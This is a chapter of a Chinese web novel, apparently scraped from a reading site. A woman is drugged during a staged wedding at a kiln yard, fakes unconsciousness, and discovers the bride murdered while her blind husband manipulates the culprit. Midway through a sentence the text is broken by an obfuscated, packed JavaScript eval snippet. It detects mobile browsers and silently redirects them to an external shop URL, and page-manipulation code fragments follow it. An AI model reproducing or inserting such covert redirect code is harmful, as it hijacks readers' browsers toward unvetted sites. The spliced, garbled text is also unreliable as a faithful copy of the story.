12
立春
姚家铺子原先的生意一般,自姚娘遭罪后,生意却莫名好了起来。
连带着吴婶子的生意也好了起来,把许多不是很好的料子低价处理了。
阮辞秋用了半折的价格从吴婶子那里买了一匹布,做完手衣刚好还剩下一些,为微生舟做了一件衣裳。
青色棉质布料,算不上好,但比起微生舟身上那件破洞粗布衣衫,已经是很好的了。
微生舟长得好,自然披件麻袋都好看,这件青色长衫在他身上极显贵气,越发衬出他的容貌来。
阮辞秋突然不想带他出去了,但答应他也不能反悔。
“你穿这件衣衫不好看。”
“你不许将头发扎起来。”
“你……”
阮辞秋找了许多借口,最后图穷匕见,说:“外头不安全,你一个男子还是老老实实在家待着吧。”
微生舟淡然笑了笑,拿出一旁的遮脸面罩,说:“人多眼杂,不给阮娘子添麻烦。”然后主动戴了上去。
他还十分贴心为阮辞秋准备好了借口。
当然不添麻烦是真,不想被人认出来,也是真。
阮辞秋看他这样,心中松了口气,答应了下来。
微生舟已经完全适应了眼盲的生活,靠着阮辞秋做的那根拐杖,就能正常行走。
此刻天微暗,空气中飘荡着青草和泥土混杂的新鲜味,村中的人都不约而同往窑场赶。
周老爷将喜事办在了窑场,先举行喜宴,随后在窑场正中举办祭窑神仪式。
阮辞秋这是第一次带着她瞎眼的郎君出门。
微生舟身姿挺拔,虽然蒙着半张面,却难掩骨相极佳。
村里哪有这样男子。
周家秀才还算清秀,但连微生舟的背影都够不上,更何况其他。
后山窑场
阮辞秋带着微生舟入座,刚入座就被管事叫了去。
待他一走,众人的目光都明晃晃落在了微生舟身上。
不少女娘不知内情,大着胆子上前搭话。
还未说些什么,就看见微生舟脖颈侧面那道泛红的印子。
像是标记认主似的。
这是阮辞秋出门前咬的,还没到一个时辰,新鲜得很。
她走出门,还再三告诫微生舟:“外头的人都不是什么好人,你不许在外头说话。”
还没等他开口,女娘们瞧见那抹红色,就识趣走开。
那厢管事将窑场的一众人等召集在一起,说是人手不够,让他们帮着干些杂活,结束后必有重赏。
众人欣然应允,管事分了分人,两两成对,分散在前厅。
最后只剩阮辞秋一人落下。
管事看着眼前的阮辞秋,摇了摇头,带着些歉意,“阮娘子,前厅的人都安排齐了,后厢房缺一个去帮忙,麻烦你了。”
阮辞秋总觉得这事透露着古怪,村里喜事遇到人手不够,是常有的事情。
但都是提前一日打招呼,不曾像周家这样突然。
再者,后厢房又有什么能让她去帮忙的呢?
村里的人全在前厅,那头除了新娘,也就只剩下库房了。
她心中警铃大作,却不得不前去,面上不显,却将袖中的匕首攥得更紧了些。
管事找了个丫鬟代劳,丫鬟带她绕过曲折回廊,来到一处厢房前。
丫鬟站在原地做了一个请的手势,示意她进去,里头桌案上的确有不少喜饼,说是让她帮忙分装。
厢房左侧就是新娘所在的喜房。
两间房离得十分近。
丫鬟跟着她一起装喜饼盒子,阮辞秋的心稍稍放宽些。
阮辞秋想起方才路过的喜房,窗上不贴喜字,屋中更是寂静,心中还是有些疑惑。
“主家这样大的喜事,为何将喜房安置如此偏僻。”
丫鬟干笑两声,眼神躲闪,“今日主要是祭窑神,主家说喜事不宜铺张。”
姚家这次送亲也极其低调,一顶红轿子就入了府。
一切都透着一丝诡异。
夜色刚隆起,雾色在窗外弥漫,火红的灯笼高高挂起。
阮辞秋刚包好所有喜饼,跟她一起的丫鬟突然捂住肚子,要去茅房,让她在原地等一会儿。
不等阮辞秋应允,就跑了出去。
四周越发寂静。
桌案上的香快燃尽,酉时快到了,窑神祭祀也要开始了。
她在这里待了足足一个时辰。
阮辞秋推开门,迈出腿。
才迈出一步,门口红色的灯笼被一阵不知哪里来的邪风吹灭,四周暗了下来。
“嘎吱,嘎吱”,只有灯笼摇晃声,一阵接着一阵的咕呱声。
空气里飘来一阵极淡的苦味和金属味,钻入阮辞秋鼻尖。
强烈的眩晕感接踵而至,这是迷药的味道。
她立刻用袖子捂住口鼻,顺手抠了抠衣服袖子里的棉花,抠出两团塞在鼻子里,随后抽出发间的簪子,不带一丝犹豫刺破手掌。
堪堪保持清醒。
是谁要害她,她定要看个明白。
她假意晕倒在门口,闭眼前,她似乎看到廊柱后,有个熟悉的青色身影。
黄老头蒙着面,躲在暗处,看到人倒下了,左右看看,急匆匆走了出来。
他弯下腰,打算将人拖到隔壁。
“你确定要做这件事?”清冷的声音从远处飘来。
是阿舟的声音。
阮辞秋放松了些,这厮应该会帮她。
黄老头吓得一哆嗦,循着声音望去,这是阮辞秋那个瞎眼赘婿。
月光下,那人肤色如雪,眉目间淡漠又不屑,没有丝毫焦急。
黄老头只道他瞧不见眼前的场景,不知道地下这人是他的娘子。
黄老头的脸色变了又变,底气足了许多,“关你屁事。”
“你劫走我的娘子,自然是我的事。”
原来他知道。
微生舟自然知道,他眼睛虽然看不见,可是每个人身上的味道,他都闻得分明。
黄老头立刻往后退了三步,“你知道我是谁?”
“不知。”
黄老头的心彻底松了下去,拿着刀的手抖了又抖,“那你想怎么样?救她?小心我连你也一起杀了。”
“我要是你,就不会只做这些。”
“你这是什么意思?”
“雇你的人有没有说过,为何让你做这些。”
周老爷只让黄老头将人迷倒,放到隔壁的厢房门口,然后报官。
微生舟指了指隔壁的厢房,“你去里面看一眼。”
黄老头狐疑地看他一眼,走到另一侧,推开门。
一双红色绣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921371|213472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
花鞋悬在半空,顺着门外的风,飘来荡去。
黄老头看到眼前的一幕,双腿止不住发颤,像是被扼住喉头般,发不出一丝声音。那双眼睛瞪得极大,豆大的汗珠从额头滑落,膝盖打着圈,布料不停相互摩擦。
死……死了?
黄老头深吸两口气,稳住声音,却仍旧发出了颤声,“你……你眼睛看得见?”
“不曾,只是闻到了血腥味。”
黄老头走近,低声道:“你告诉我这些做什么。”
微生舟若想揭发他,直接找人来便是了,这样提醒他,肯定有别的图谋。
“自然是为财。”
黄老头疑惑,“阮家这丫头,似乎对你还不错?”
方才吴婶子在席面上说了,阮辞秋这么多年不曾买过一件新衣裳,这赘婿一来,就给他买了块布做衣裳。
地下“昏迷”的阮辞秋心里点点头,连外人都知道,小瞎子还这样吃里爬外。
着实可恨。
微生舟不置可否,“此刻人为刀俎,你为鱼肉,你不寻条退路,若被人灭口,这可如何是好。”
黄老头想起周老爷的行事作风,似懂非懂点点头,“那你说,我该怎么办。”
“听说这窑场里私藏了许多白月土,一克便值千金,你去盗些,指证完我娘子就逃,岂不是更好。”
黄老头有些意外,白月土只能官府开采,私藏是重罪。
这事只有少数人才知道,眼前这人是如何知道的。
可他来不及犹豫,也来不及细想。
他才想明白,自己知道白月土的秘密,周老爷又岂会按照原先说的,给他一大笔钱安心养老。
空气里久久的沉默,像是证实了微生舟的说法。
微生舟只是诈他,可惜他上钩了。
黄老头像是下了某种决心,拍拍微生舟的肩膀,诚恳道:“那事成后,我分你点钱。”
微生舟听着眼前黄老头愚蠢到头的发言,笑得灿烂,看上去十分人畜无害,“你只要分我一克白月土便好。”
黄老头连声答应,“那阮辞秋……”
“我本就看不见,你就当我从来不曾来过。”
黄老头满意极了,转头跟着微生舟往后山走,消失在茫茫夜色中。
阮辞秋从地上爬起来,看着他们离去的背影,拍了拍手掌上的土,砂砾擦过手掌,方才刺痛的伤口凝固了些。
她走到隔壁,也跟着倒吸了一口凉气。
新娘吊在横梁上,脸上全是刀痕,粗略数数约莫三十几道伤口,根本看不清面容。
而这密闭的空间,还有一股若有若无的药草味。
同她给阿舟炖煮的药味出奇相似,有可能也是治疗伤口的药。
更诡异的是,喜房里不贴喜字,也没有红绸装饰,看上去十分简陋。
照着周家铺张的排场,怎会如此呢?
除非,除非这场喜事是假,借刀杀人是真。
可这姚二娘又招惹上了谁呢?
阮辞秋百思不得其解,突然瞅见地上的旗花,是黄老头留下的。
旗花是富贵人家防贼的利器,由官府售卖,价格极昂贵,点燃后便会化作一缕烟花上天,还伴着哨音。
方圆几十里的官府岗哨都能瞅见,派出官兵上门。
既然做这局的人想要找人顶罪,那她就帮忙找个罪人。